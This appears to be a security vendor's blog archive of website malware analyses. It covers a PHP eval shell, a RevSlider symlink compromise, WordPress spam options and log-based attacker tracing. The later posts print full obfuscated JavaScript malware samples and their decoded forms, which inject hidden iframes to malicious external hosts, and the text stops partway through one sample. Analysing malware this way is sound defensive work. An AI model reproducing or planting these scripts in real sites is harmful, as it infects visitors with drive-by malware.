Showing posts with label word-press website malware scanner. Show all posts
Showing posts with label word-press website malware scanner. Show all posts

Saturday, January 30, 2016

New Generic PHP Shell Malware In The Wild

New Generic PHP Shell Malware In The Wild

Shell body

Background

Massive infection in the form of new generic PHP shell has been, recently, detected by Quttera malware researchers. We are still investigating all the incidents to find out the exact infection vector. Here is what we know so far:
  1. In most cases this shell was uploaded as wp-update.php to WordPress root directory
  2. On almost all sites, where we detected this shell all JavaScript files were infected by malicious JavaScript code injecting reference to malicious IFRAMEs
  3. This is generic shell script and it executes content that is provided in $_POST argument calls "sam"

How this shell works

  1. Firstly it resets last time when it was accessed using @touch function
  2. Then it checks if "eval" function is available via execution of the following command: $l = eval("return true")
  3. After that, it decides how to execute encoded script provided inside $_POST[sam] variable
  4. If eval function is available, then infection is delivered using following expression: eval(base64_decode($_POST[sam]))
  5. If eval command is not available, then shell dumps provided execution script into temporary file _ptemp and executes it using "system" command: system("php _ptemp;rm _ptemp");
  6. The injected infection body depends on input provided in $_POST[sam] variable.
If you suspect your website was compromised or would like us to remove the malware, please select from ThreatSign - website monitoring and malware clean-up plans. To run free remote scan of your websites: http://quttera.com/website-malware-scanner

For other questions, do not hesitate to contact Quttera's help-desk.

Monday, November 23, 2015

Hacked WordPress Sites To Gain Control Over Entire VPS

"RevSlider" Plugin Vulnerability Used to Access VPS File System


Background

The issue has been discovered during malware clean-up of WordPress installation on private VPS. Additionally, the server hosted around 20 more WP installations. The auto cure procedure came back showing infection left-overs and we switched to manual investigation. This short post is to show how simple and genius some hacks could be. 

Malware investigation 

First checks showed that the VPS was infected via outdated RevSlider installation (3.0.95). Hackers were able upload any arbitrary files to the host. Searching further we found some strange directory (wp-content/plugins/revslider/temp/update_extract/sym). After investigation of this directory we found taht it contained softlink to "/" (VPS root directory). As simple as that. Needless to say, that it provided attackers an access to entire file system on this VPS and hackers actually had access to any file/directory on this VPS and utilized it to infect all other WP installations.

Removing this directory and updating the vulnerable plugin solved the issue.

If you suspect your website was compromised or would like us to remove the malware, please select from ThreatSign - website monitoring and malware clean-up plans. To run free remote scan of your websites: http://quttera.com/website-malware-scanner

For other questions, do not hesitate to contact Quttera's help-desk.

Wednesday, May 27, 2015

Identifying and Removing Spam From Word Press Database

Background

This case of Spam clean-up from Word Press website didn't stand out from the first glance. Customer was blacklisted by Google due to spam posts. As a part of blacklisting removal service we reviewed Google alert and start working. Internal malware scan with Quttera tools quickly identified and verified the infection and type. However, the Spam posts kept re-appearing upon successful clean-ups. This post is a short overview of Spam removal process to give you hints when you search for Spam origin in your websites.

Malware Scan and Investigation

As no suspicious posts were there in Word Press dashboard we started to investigate MySQL database tables content. Spamming posts were found and removed from database. In no time, new posts were added with different spam content. Next thing we checked cache plugins that were installed and removed them to decrease "investigation noise". After that, we dumped content of wpoptions table and investigated its content. During investigation we found two malicious Word Press options  wpdcon and wptheme_opt. 

wpdcon contained suspicious IP masks encoded with base64  

NS4yNTUuMTkyLjAtMTg= 
OC4qLiouKg==
MTIuMC4qLio= 

For full body see here - http://pastebin.com/uYzXu1B3

These masks are used to recognize whether request came from human visitor 

wptheme_opt  (http://pastebin.com/cdFLyL9X ) contained actually the body that loaded spam posts into the data base.

When were removed, the missing options started to generate errors upon access to a website. Investigating those errors highlighted the exact injection place.

Following is a dump of the infection:

{{{{

add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt"))))));

}}}}

Resolution

As a part of anti-malware services for websites, the re-consideration request has been submitted and Google have removed their alert. 


Sunday, January 25, 2015

How To Locate Hosts That Infecting Or Sending Spam From Your Word Press Installation

Steps To Discover Malicious Hosts Attempting To Access Your Website 

When dealing with previously cleaned website that got re-infected over and over again, it is essential to monitor/check who and when tried to connect to website. Usually, POST request is used to access the malware files to launch malicious script/command. Thus, once you have the file names you can review the log files (e.g. access.log for Apache) to detect the servers that were sending these malicious requests.

Next steps would be to block those IPs to avoid further attacks and inform your provider. Further, you can use 'whois' who hosts those IPs and file the request to remove them.

Example steps for CPanel users to access logs and detect attackers

Similar steps would be applicable for the rest control panel providers.

  1. Login to CPanel and go to "Stats & Logs" 
  2. Select "Raw Access Logs" from the menu to navigate to logs archive

    CPanel - Raw Access Log
  3. Download logs archive

    CPanel - download raw access log archive
  4. Extract archive content to an empty directory
  5. Run the following command on extracted file: # grep -irHn POST <file> | grep -v admin

When you are done with all the steps above, you should see output containing the date/time, file and IP that tried to access this file along with other info.

Here is an example shared by Quttera-Labs researcher taken from one of recent malware removal process:

85.214.94.159 - - [24/Jan/2015:21:32:41 +0100] "POST /wp-content/uploads/mp3-320/insomnia3/320/db.php HTTP/1.1" 404 72391 "-" "Mozilla/5.0 (Windows NT 6.1; W
OW64; rv:33.0) Gecko/20100101 Firefox/33.0"
85.214.94.159 - - [24/Jan/2015:21:32:44 +0100] "POST /wp-includes/SimplePie/Content/Type/info.php HTTP/1.1" 404 72387 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64
; rv:33.0) Gecko/20100101 Firefox/33.0"
85.214.94.159 - - [24/Jan/2015:21:32:45 +0100] "POST /wp-content/plugins/jetpack/modules/social-links.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; W
OW64; rv:33.0) Gecko/20100101 Firefox/33.0"


91.121.60.19 - - [25/Jan/2015:03:49:33 +0100] "POST /wp-content/plugins/wp-statistics/includes/functions/general.php HTTP/1.1" 404 72407 "-" "Mozilla/5.0 (Wi
ndows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
91.121.60.19 - - [25/Jan/2015:03:49:36 +0100] "POST /wp-content/uploads/mp3-320/insomnia3/320/db.php HTTP/1.1" 404 72391 "-" "Mozilla/5.0 (Windows NT 6.1; WO
W64; rv:33.0) Gecko/20100101 Firefox/33.0"
91.121.60.19 - - [25/Jan/2015:03:49:37 +0100] "POST /wp-content/plugins/woocommerce/i18n/db.php HTTP/1.1" 404 72386 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; 
rv:33.0) Gecko/20100101 Firefox/33.0"

If you suspect your website was compromised or would like us to remove the malware, please select from ThreatSign - website monitoring and malware clean-up plans. To run free remote scan of your websites: http://quttera.com/website-malware-scanner

For other questions, do not hesitate to contact Quttera help-desk.

Thursday, November 28, 2013

Threat Code Mixed With Google Analytics Redirects Visitors To Malware Distributor

Obfuscated malicious JavaScript code combined with GA code


Background


Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Obfuscated JavaScript comes right after the valid GA code and placed in index.html. 

One might assume that the GA code was embedded by attacker as well to monitor his success. However, this might be a simple coincidence. Interestingly, the website is in Google blacklist database. Below you will find payload analysis and threat dump. 

For public databases of site scan reports:

For global web malware monitoring statistic and severity levels:

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Thu Nov 28 14:18:42 2013
Infected website's files: 1
Website malware scan report link: http://goo.gl/S4oz7N

Uncovering web threats
Online Website Malware Scanner sitescan overview

Malware entry

Beautified script

<script>varwsqWQBPps="cNRoPJdqz3ccNRoPJdqz69cNRoPJdqz66cNRoPJdqz72cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz20cNRoPJdqz73cNRoPJdqz72cNRoPJdqz63cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz68cNRoPJdqz74cNRoPJdqz74cNRoPJdqz70cNRoPJdqz3acNRoPJdqz2fcNRoPJdqz2fcNRoPJdqz70cNRoPJdqz72cNRoPJdqz69cNRoPJdqz76cNRoPJdqz61cNRoPJdqz74cNRoPJdqz65cNRoPJdqz33cNRoPJdqz2ecNRoPJdqz7acNRoPJdqz61cNRoPJdqz70cNRoPJdqz74cNRoPJdqz6fcNRoPJdqz2ecNRoPJdqz6fcNRoPJdqz72cNRoPJdqz67cNRoPJdqz2fcNRoPJdqz62cNRoPJdqz6ccNRoPJdqz6fcNRoPJdqz67cNRoPJdqz2fcNRoPJdqz76cNRoPJdqz6ccNRoPJdqz71cNRoPJdqz73cNRoPJdqz72cNRoPJdqz79cNRoPJdqz79cNRoPJdqz61cNRoPJdqz63cNRoPJdqz72cNRoPJdqz2ecNRoPJdqz70cNRoPJdqz68cNRoPJdqz70cNRoPJdqz3fcNRoPJdqz76cNRoPJdqz61cNRoPJdqz6fcNRoPJdqz77cNRoPJdqz76cNRoPJdqz3dcNRoPJdqz4ecNRoPJdqz48cNRoPJdqz63cNRoPJdqz43cNRoPJdqz71cNRoPJdqz55cNRoPJdqz46cNRoPJdqz53cNRoPJdqz26cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz70cNRoPJdqz3bcNRoPJdqz68cNRoPJdqz72cNRoPJdqz79cNRoPJdqz74cNRoPJdqz65cNRoPJdqz77cNRoPJdqz73cNRoPJdqz66cNRoPJdqz64cNRoPJdqz3dcNRoPJdqz39cNRoPJdqz38cNRoPJdqz38cNRoPJdqz39cNRoPJdqz34cNRoPJdqz33cNRoPJdqz39cNRoPJdqz26cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz70cNRoPJdqz3bcNRoPJdqz79cNRoPJdqz6acNRoPJdqz72cNRoPJdqz65cNRoPJdqz73cNRoPJdqz66cNRoPJdqz64cNRoPJdqz3dcNRoPJdqz38cNRoPJdqz35cNRoPJdqz34cNRoPJdqz22cNRoPJdqz20cNRoPJdqz6ecNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz79cNRoPJdqz66cNRoPJdqz65cNRoPJdqz6acNRoPJdqz43cNRoPJdqz50cNRoPJdqz43cNRoPJdqz7acNRoPJdqz62cNRoPJdqz41cNRoPJdqz22cNRoPJdqz20cNRoPJdqz74cNRoPJdqz69cNRoPJdqz74cNRoPJdqz6ccNRoPJdqz65cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz4ecNRoPJdqz65cNRoPJdqz73cNRoPJdqz58cNRoPJdqz6fcNRoPJdqz59cNRoPJdqz47cNRoPJdqz54cNRoPJdqz42cNRoPJdqz7acNRoPJdqz22cNRoPJdqz20cNRoPJdqz77cNRoPJdqz69cNRoPJdqz64cNRoPJdqz74cNRoPJdqz68cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz30cNRoPJdqz22cNRoPJdqz20cNRoPJdqz68cNRoPJdqz65cNRoPJdqz69cNRoPJdqz67cNRoPJdqz68cNRoPJdqz74cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz30cNRoPJdqz22cNRoPJdqz20cNRoPJdqz66cNRoPJdqz72cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz62cNRoPJdqz6fcNRoPJdqz72cNRoPJdqz64cNRoPJdqz65cNRoPJdqz72cNRoPJdqz3dcNRoPJdqz22cNRoPJdqz30cNRoPJdqz22cNRoPJdqz3ecNRoPJdqz3ccNRoPJdqz2fcNRoPJdqz69cNRoPJdqz66cNRoPJdqz72cNRoPJdqz61cNRoPJdqz6dcNRoPJdqz65cNRoPJdqz3e";yvDFQwwmM=eval;varWSxQJgvuB=wsqWQBPps.replace(/cNRoPJdqz/g,"%");]]


Malicious payload

Decoded payload generates hidden iframe to http://private3[.]zapto[.]org/blog/vlqsryyacr.php?vaowv=NHcCqUFS&amp;hrytewsfd=9889439&amp;yjresfd=854

Payload:
<iframe src="http://private3[.]zapto[.]org/blog/vlqsryyacr.php?vaowv=NHcCqUFS&amp;hrytewsfd=9889439&amp;yjresfd=854" name="yfejCPCzbA" title="NesXoYGTBz" width="0" height="0" frameborder="0"></iframe>

Blacklisting status


The website is Suspicious on Google Safe Browsing.

VirusTotal URL scan reports 8/51 antivirus and malware detection engines identified the redirect IP as malicious site.

VirusTotal URL scan report screenshot


Malware clean-up

Uncovering online threats and hidden malware is easy and effective with Online Malware Scanner. However, if you suspect that your website was infected, use Website Anti-malware Monitoring for malware removal.

Alternatively, you can try to remove malware using Quttera's website scan report. You will then need to submit your website(s) for re-testing and removing from blacklist.

Wednesday, October 9, 2013

AVG, Avira and WhatsApp websites hacked

AVG, AVira and WhatsApp websites hacked by pro-Palestinian hackers


Yesterday, as you probably noticed, WhatsApp website was defaced. Later AVG and Avira websites joined with the same defacement screen.

There are a lot of post about it and we decided to make a short one as well, just to highlight that even big company's websites can get compromised, including security vendors(like AVG and Avira). In this case the DNS redirection was implemented as a result of acquired passwords.

Avira's update


What happened?

The DNS records of various websites, including those of Avira, were changed to point to other domains that do not belong to Avira.

It appears that our account used to manage the DNS records registered at Network Solutions has received a fake password-reset request which was honored by the provider. Using the new credentials the cybercriminals have been able to change the entries to point to their DNS servers.

Our internal network has not been compromised in any way. As a measure of security we have shut down all exterior services until we have all DNS entries in our possession again.

Our products were not affected at any point, including the update servers for product and detection updates. These servers are not registered at Network Solutions.

We can assure all our partners and customers that no data of any kind (customer data, source code, etc.) has been stolen during this incident.

No malicious code was delivered to the visitors of the website either by direct download or by drive-by downloads.


Sunday, August 4, 2013

7 hottest obfuscated malicious JavaScript detected on websites

Top 7 obfuscated malicious JavaScript threats detected by Quttera's online malware scanner during last week

Quttera-website-malware-scanner
Malicious JavaScript

To continue with our "new tradition" of posting JavaScript malware samples that we think are interesting, here is our weekly chart. Previous week chart can be found here.

This post presents 7 interesting malicious scripts as identified in websites during on-demand scan initiated by online community via our public free website malware scanner. The purpose of this post is strictly educative and information you found here should not be used in malicious purposes.


Sample 1


Malicious action: injecting hidden iframe to http://enlargement4.pro/might/dropping_installing[.]php


  1. try {
  2.     bgewg346tr++
  3. } catch (aszx) {
  4.     try {
  5.         dsgdsg - 142
  6.     } catch (dsfsd) {
  7.         try {
  8.             ("".substr + "")()
  9.         } catch (ehwdsh) {
  10.             try {
  11.                 window.document.body++
  12.             } catch (gdsgsdg) {
  13.                 dbshre = 204;
  14.             }
  15.         }
  16.     }
  17. }
  18. if (dbshre) {
  19.     asd = 0;
  20.     try {
  21.         d = document.createElement("div");
  22.         d.innerHTML.a = "asd";
  23.     } catch (agdsg) {
  24.         asd = 1;
  25.     }
  26.     if (!asd) {
  27.         e = eval;
  28.     }
  29.     asgq = new Array(1, 2, 99, 97, 28, 32, 93, 105, 94, 113, 101, 94, 104, 111, 42, 95, 94, 110, 64, 104, 93, 102,95, 105, 112, 107, 59, 115, 79, 93, 95, 71, 91, 104, 97, 32, 32, 92, 106, 96, 113, 32, 35, 86, 44, 85, 34, 117, 8,5, 1, 2, 99, 97, 110, 89, 102, 95, 109, 36, 33, 52, 7, 4, 5, 117, 25, 95, 103, 111, 93, 25, 117, 8, 5, 1, 2, 94,106, 95, 109, 102, 95, 105, 112, 38, 112, 108, 100, 112, 93, 33, 28, 55, 101, 94, 107, 91, 104, 97, 24, 108, 108,94, 57, 31, 97, 110, 111, 108, 50, 40, 41, 96, 106, 100, 90, 108, 98, 97, 101, 94, 104, 111, 48, 38, 105, 108,106, 43, 101, 98, 97, 99, 112, 39, 93, 108, 106, 108, 104, 98, 104, 98, 91, 97, 103, 109, 111, 93, 100, 101, 99,105, 99, 38, 105, 98, 107, 35, 24, 112, 99, 95, 112, 96, 54, 33, 44, 44, 31, 25, 98, 96, 101, 95, 97, 110, 56, 35,41, 41, 33, 27, 111, 108, 114, 102, 96, 57, 31, 112, 99, 95, 112, 96, 51, 43, 43, 44, 104, 113, 53, 99, 97, 97,96, 98, 111, 54, 41, 41, 42, 107, 116, 51, 105, 105, 110, 101, 108, 98, 105, 105, 54, 89, 91, 109, 106, 104, 109,109, 95, 54, 104, 93, 95, 110, 53, 41, 41, 41, 42, 107, 116, 51, 109, 105, 107, 54, 40, 52, 33, 57, 56, 39, 98,96, 109, 93, 101, 94, 56, 29, 37, 51, 6, 3, 4, 121, 5, 2, 3, 97, 113, 102, 92, 110, 100, 107, 102, 25, 99, 97,110, 89, 102, 95, 109, 36, 33, 116, 7, 4, 5, 1, 111, 91, 109, 28, 94, 25, 55, 27, 96, 103, 92, 111, 104, 97, 102,109, 40, 94, 110, 93, 90, 110, 96, 65, 100, 94, 103, 96, 106, 108, 33, 33, 100, 98, 106, 90, 103, 96, 35, 33, 52,96, 41, 111, 93, 109, 59, 111, 112, 106, 98, 92, 112, 112, 93, 33, 33, 110, 110, 91, 32, 38, 34, 100, 108, 109,106, 53, 43, 39, 94, 104, 103, 93, 106, 96, 95, 104, 97, 102, 109, 46, 41, 108, 106, 104, 41, 104, 101, 95, 97,110, 42, 96, 106, 104, 106, 107, 101, 102, 96, 89, 100, 106, 107, 109, 91, 103, 104, 97, 103, 97, 41, 108, 96,105, 33, 36, 55, 94, 39, 109, 111, 117, 100, 94, 40, 103, 97, 94, 109, 55, 34, 41, 41, 41, 42, 107, 116, 31, 52,96, 41, 111, 108, 114, 102, 96, 42, 108, 104, 106, 56, 35, 40, 32, 53, 97, 42, 107, 109, 115, 103, 97, 38, 105,105, 110, 101, 108, 98, 105, 105, 57, 31, 90, 92, 110, 107, 100, 110, 110, 96, 35, 51, 95, 40, 110, 112, 113, 101,95, 41, 104, 93, 95, 110, 56, 35, 40, 32, 53, 97, 42, 107, 109, 115, 103, 97, 38, 109, 105, 107, 57, 31, 41, 33,54, 98, 38, 108, 95, 111, 61, 108, 109, 108, 100, 94, 109, 109, 95, 35, 35, 111, 98, 94, 111, 100, 31, 37, 33, 44,44, 31, 34, 53, 97, 42, 107, 94, 110, 60, 112, 108, 107, 99, 93, 113, 108, 94, 34, 34, 100, 93, 98, 97, 99, 112,31, 37, 33, 44, 44, 31, 34, 53, 8, 5, 1, 2, 94, 106, 95, 109, 102, 95, 105, 112, 38, 96, 95, 111, 65, 100, 94,103, 96, 106, 108, 108, 60, 116, 80, 89, 96, 72, 92, 105, 93, 33, 33, 93, 107, 92, 114, 33, 36, 87, 40, 86, 40,92, 108, 104, 94, 104, 95, 63, 96, 98, 102, 95, 36, 94, 34, 53, 8, 5, 1, 118);
  30.     s = "";
  31.     for (i = 0; i - 637 != 0; i++) {
  32.         if (020 == 0x10) s += String.fromCharCode(1 * asgq[i] - (i % 5 - 8));
  33.     }
  34.     z = s;
  35.     e(z);
  36. }
  37. /*
  38.  * decoded payload injects malicious iframe leading
  39.  * to http://enlargement4.pro/might/dropping_installing[.]php
  40.  */
  41. if (document.getElementsByTagName('body')[0]) {
  42.     iframer();
  43. } else {
  44.     document.write("<iframe src='http://enlargement4.pro/might/dropping_installing.php' width='10' height='10' style='width:100px;height:100px;position:absolute;left:-100px;top:0;'></iframe>");
  45. }
  46. function iframer() {
  47.     var f = document.createElement('iframe');
  48.     f.setAttribute('src', 'http://enlargement4.pro/might/dropping_installing.php');
  49.     f.style.left = '-100px';
  50.     f.style.top = '0';
  51.     f.style.position = 'absolute';
  52.     f.style.left = '0';
  53.     f.style.top = '0';
  54.     f.setAttribute('width', '10');
  55.     f.setAttribute('height', '10');
  56.     document.getElementsByTagName('body')[0].appendChild(f);
  57. }




Sample 2


Malicious action: injecting hidden iframe to http://megastoron.com/



  1. try {
  2.     window.document.body++
  3. } catch (gdsgsdg) {
  4.     dbshre = 35;
  5. }
  6. if (dbshre) {
  7.     asd = 0;
  8.     try {
  9.         d = document.createElement("div");
  10.         d.innerHTML.a = "asd";
  11.     } catch (agdsg) {
  12.         asd = 1;
  13.     }
  14.     if (!asd) {
  15.         e = eval;
  16.     }
  17.     ss = String;
  18.     asgq = new Array(31, 94, 110, 104, 94, 107, 97, 104, 104, 27, 31, 33, 25, 117, 27, 4, 2, 25, 112, 92, 105, 24,99, 97, 116, 98, 91, 25, 55, 27, 91, 103, 92, 111, 104, 92, 102, 109, 40, 94, 105, 93, 90, 110, 96, 60, 100, 94,103, 96, 101, 108, 33, 33, 100, 93, 106, 90, 103, 96, 30, 33, 52, 26, 8, 1, 24, 99, 97, 116, 98, 91, 39, 109, 109,90, 24, 54, 26, 34, 95, 108, 109, 106, 53, 38, 39, 102, 95, 98, 88, 107, 109, 105, 109, 102, 102, 39, 93, 106,100, 39, 32, 53, 27, 4, 2, 25, 100, 98, 112, 99, 92, 40, 110, 107, 113, 101, 95, 41, 103, 103, 108, 99, 111, 96,103, 103, 26, 56, 23, 31, 90, 92, 110, 102, 100, 110, 110, 96, 30, 51, 25, 7, 5, 23, 98, 96, 115, 102, 90, 38,108, 110, 116, 99, 93, 39, 92, 106, 105, 92, 94, 108, 27, 52, 24, 32, 42, 34, 50, 24, 6, 4, 27, 97, 95, 114, 101,94, 37, 107, 109, 115, 103, 92, 38, 97, 95, 100, 94, 96, 109, 26, 56, 23, 31, 42, 106, 115, 30, 51, 25, 7, 5, 23,98, 96, 115, 102, 90, 38, 108, 110, 116, 99, 93, 39, 113, 100, 91, 108, 97, 26, 56, 23, 31, 42, 106, 115, 30, 51,25, 7, 5, 23, 98, 96, 115, 102, 90, 38, 108, 110, 116, 99, 93, 39, 102, 96, 93, 108, 25, 55, 27, 30, 41, 105, 114,34, 50, 24, 6, 4, 27, 97, 95, 114, 101, 94, 37, 107, 109, 115, 103, 92, 38, 109, 105, 107, 23, 53, 25, 33, 44,103, 112, 32, 53, 27, 4, 2, 6, 4, 27, 96, 94, 25, 34, 28, 91, 103, 92, 111, 104, 92, 102, 109, 40, 98, 92, 108,62, 102, 96, 100, 93, 103, 110, 61, 112, 65, 93, 34, 34, 97, 95, 114, 101, 94, 30, 33, 34, 26, 118, 23, 5, 3, 26,95, 102, 91, 110, 103, 96, 101, 108, 39, 113, 109, 96, 108, 94, 34, 34, 51, 92, 98, 112, 27, 96, 92, 54, 86, 34,97, 95, 114, 101, 94, 83, 31, 25, 56, 55, 38, 92, 98, 112, 57, 30, 33, 52, 26, 8, 1, 24, 93, 105, 94, 108, 101,94, 104, 111, 37, 95, 94, 110, 64, 99, 93, 102, 95, 105, 107, 58, 114, 67, 95, 31, 31, 99, 97, 116, 98, 91, 32,35, 41, 88, 104, 105, 95, 105, 91, 59, 97, 99, 103, 91, 32, 99, 97, 116, 98, 91, 34, 53, 27, 4, 2, 25, 119, 27, 4,2, 25, 119, 36, 31, 33, 52);
  19.     s = "";
  20.     for (i = 0; i - 453 != 0; i++) {
  21.         if ((020 == 0x10) % 26 % 26window.document) s += ss.fromCharCode(1 * asgq[i] - (i % 5 - 5 - 4));
  22.     }
  23.     z = s;
  24.     e(s);
  25. }
  26. /*
  27.  * decoded payload inject malicious iframe to http://megastoron.com/
  28.  */
  29. (function () {
  30.  var jgykc = document.createElement('iframe');
  31.  jgykc.src = 'http://megastoron.com/';
  32.  jgykc.style.position = 'absolute';
  33.  jgykc.style.border = '0';
  34.  jgykc.style.height = '1px';
  35.  jgykc.style.width = '1px';
  36.  jgykc.style.left = '1px';
  37.  jgykc.style.top = '1px';
  38.  if (!document.getElementById('jgykc')) {
  39.          document.write('<div id=\'jgykc\' ></div>');
  40.         document.getElementById('jgykc').appendChild(jgykc);
  41.  }
  42.  })();

Sample 3


Malicious action: injecting hidden iframe to http://5day.vn/tmp/Px86AtML.php

  1. ps = "s" + "p" + "l" + "i" + "t";
  2. asd = function () {
  3.     ++d.body
  4. };
  5. a =("47,155,174,165,152,173,160,166,165,47,201,201,201,155,155,155,57,60,47,202,24,21,47,175,150,171,47,167,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,24,21,24,21,47,167,65,172,171,152,47,104,47,56,157,173,173,167,101,66,66,74,153,150,200,65,175,165,66,173,164,167,66,127,177,77,75,110,173,124,123,65,167,157,167,56,102,24,21,47,167,65,172,173,200,163,154,65,167,166,172,160,173,160,166,165,47,104,47,56,150,151,172,166,163,174,173,154,56,102,24,21,47,167,65,172,173,200,163,154,65,151,166,171,153,154,171,47,104,47,56,67,56,102,24,21,47,167,65,172,173,200,163,154,65,157,154,160,156,157,173,47,104,47,56,70,167,177,56,102,24,21,47,167,65,172,173,200,163,154,65,176,160,153,173,157,47,104,47,56,70,167,177,56,102,24,21,47,167,65,172,173,200,163,154,65,163,154,155,173,47,104,47,56,70,167,177,56,102,24,21,47,167,65,172,173,200,163,154,65,173,166,167,47,104,47,56,70,167,177,56,102,24,21,24,21,47,160,155,47,57,50,153,166,152,174,164,154,165,173,65,156,154,173,114,163,154,164,154,165,173,111,200,120,153,57,56,167,56,60,60,47,202,24,21,47,153,166,152,174,164,154,165,173,65,176,171,160,173,154,57,56,103,153,160,175,47,160,153,104,143,56,167,143,56,105,103,66,153,160,175,105,56,60,102,24,21,47,153,166,152,174,164,154,165,173,65,156,154,173,114,163,154,164,154,165,173,111,200,120,153,57,56,167,56,60,65,150,167,167,154,165,153,112,157,160,163,153,57,167,60,102,24,21,47,204,24,21,204,24,21,155,174,165,152,173,160,166,165,47,132,154,173,112,166,166,162,160,154,57,152,166,166,162,160,154,125,150,164,154,63,152,166,166,162,160,154,135,150,163,174,154,63,165,113,150,200,172,63,167,150,173,157,60,47,202,24,21,47,175,150,171,47,173,166,153,150,200,47,104,47,165,154,176,47,113,150,173,154,57,60,102,24,21,47,175,150,171,47,154,177,167,160,171,154,47,104,47,165,154,176,47,113,150,173,154,57,60,102,24,21,47,160,155,47,57,165,113,150,200,172,104,104,165,174,163,163,47,203,203,47,165,113,150,200,172,104,104,67,60,47,165,113,150,200,172,104,70,102,24,21,47,154,177,167,160,171,154,65,172,154,173,133,160,164,154,57,173,166,153,150,200,65,156,154,173,133,160,164,154,57,60,47,62,47,72,75,67,67,67,67,67,61,71,73,61,165,113,150,200,172,60,102,24,21,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,47,104,47,152,166,166,162,160,154,125,150,164,154,62,51,104,51,62,154,172,152,150,167,154,57,152,166,166,162,160,154,135,150,163,174,154,60,24,21,47,62,47,51,102,154,177,167,160,171,154,172,104,51,47,62,47,154,177,167,160,171,154,65,173,166,116,124,133,132,173,171,160,165,156,57,60,47,62,47,57,57,167,150,173,157,60,47,106,47,51,102,47,167,150,173,157,104,51,47,62,47,167,150,173,157,47,101,47,51,51,60,102,24,21,204,24,21,155,174,165,152,173,160,166,165,47,116,154,173,112,166,166,162,160,154,57,47,165,150,164,154,47,60,47,202,24,21,47,175,150,171,47,172,173,150,171,173,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,160,165,153,154,177,126,155,57,47,165,150,164,154,47,62,47,51,104,51,47,60,102,24,21,47,175,150,171,47,163,154,165,47,104,47,172,173,150,171,173,47,62,47,165,150,164,154,65,163,154,165,156,173,157,47,62,47,70,102,24,21,47,160,155,47,57,47,57,47,50,172,173,150,171,173,47,60,47,55,55,24,21,47,57,47,165,150,164,154,47,50,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,172,174,151,172,173,171,160,165,156,57,47,67,63,47,165,150,164,154,65,163,154,165,156,173,157,47,60,47,60,47,60,24,21,47,202,24,21,47,171,154,173,174,171,165,47,165,174,163,163,102,24,21,47,204,24,21,47,160,155,47,57,47,172,173,150,171,173,47,104,104,47,64,70,47,60,47,171,154,173,174,171,165,47,165,174,163,163,102,24,21,47,175,150,171,47,154,165,153,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,160,165,153,154,177,126,155,57,47,51,102,51,63,47,163,154,165,47,60,102,24,21,47,160,155,47,57,47,154,165,153,47,104,104,47,64,70,47,60,47,154,165,153,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,163,154,165,156,173,157,102,24,21,47,171,154,173,174,171,165,47,174,165,154,172,152,150,167,154,57,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,172,174,151,172,173,171,160,165,156,57,47,163,154,165,63,47,154,165,153,47,60,47,60,102,24,21,204,24,21,160,155,47,57,165,150,175,160,156,150,173,166,171,65,152,166,166,162,160,154,114,165,150,151,163,154,153,60,24,21,202,24,21,160,155,57,116,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,201,201,201,155,155,155,57,60,102,24,21,204,24,21,204,24,21"[ps](","));
  6. d = document;
  7. for (i = 0; i < a.length; i += 1) {
  8.     a[i] = -(10 - 3) + parseInt(a[i], 8);
  9. }
  10. try {
  11.     asd()
  12. } catch (q) {
  13.     yy = 50 - 50;
  14. }
  15. try {
  16.     yy /= 2
  17. } catch (q) {
  18.     yy = 1;
  19. }
  20. if (!yy) eval(String["fr" + "omCharCode"].apply(String, a));
  21. /*
  22.  * decoded payload inject hidden iframes to http://5day.vn/tmp/Px86AtML.php
  23.  */
  24. function zzzfff() {
  25.     var p = document.createElement('iframe');
  26.     p.src = 'http://5day.vn/tmp/Px86AtML.php';
  27.     p.style.position = 'absolute';
  28.     p.style.border      = '0';
  29.     p.style.height      = '1px';
  30.     p.style.width       = '1px';
  31.     p.style.left        = '1px';
  32.     p.style.top         = '1px';
  33.     if (!document.getElementById('p')) {
  34.         document.write('<div id=\'p\'></div>');
  35.         document.getElementById('p').appendChild(p);
  36.     }
  37. }
  38. function SetCookie(cookieName, cookieValue, nDays, path) {
  39.     var today = new Date();
  40.     var expire = new Date();
  41.     if (nDays == null || nDays == 0) nDays = 1;
  42.     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  43.     document.cookie = cookieName + "=" + escape(cookieValue)
  44.     + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
  45. }
  46. function GetCookie(name) {
  47.     var start = document.cookie.indexOf(name + "=");
  48.     var len = start + name.length + 1;
  49.     if ((!start) &&
  50.         (name != document.cookie.substring(0, name.length)))
  51.     {
  52.         return null;
  53.     }
  54.     if (start == -1) return null;
  55.     var end = document.cookie.indexOf(";", len);
